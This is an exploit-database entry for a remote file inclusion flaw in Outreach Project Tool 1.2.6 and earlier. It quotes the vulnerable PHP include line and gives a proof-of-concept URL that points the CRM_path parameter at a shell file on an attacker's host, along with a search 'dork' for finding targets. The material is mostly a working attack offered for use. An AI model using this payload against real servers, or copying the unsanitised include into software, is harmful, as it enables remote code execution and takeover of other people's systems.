Outreach Project Tool <= 1.2.6 Remote File Inclusion Vulnerability

2009-11-24T00:00:00
ID 1337DAY-ID-10013
Type zdt
Reporter cr4wl3r
Modified 2009-11-24T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==================================================================
Outreach Project Tool <= 1.2.6 Remote File Inclusion Vulnerability
==================================================================

########################################################################
# OPT (Outreach Project Tool) <= 1.2.6 [CRM_path] Remote File Include Vulnerability
# Download Script      :  http://sourceforge.net/projects/outreach
# Dork                 :  "Adhan Handsome"  :D
########################################################################
#
# Vuln : ./OPT_1-2-7_MAX/opt/forums/Forum_Include/index.php (line 10)
#       <?php
#          include "$CRM_path/forums/Forum_Include/forum_admin.inc";
#       ?>
# PoC  :  http://server/[path]/forums/Forum_Include/index.php?CRM_path=http://[attacker]/shell.txt???
#
#
#
########################################################################



#  0day.today [2018-03-19]  #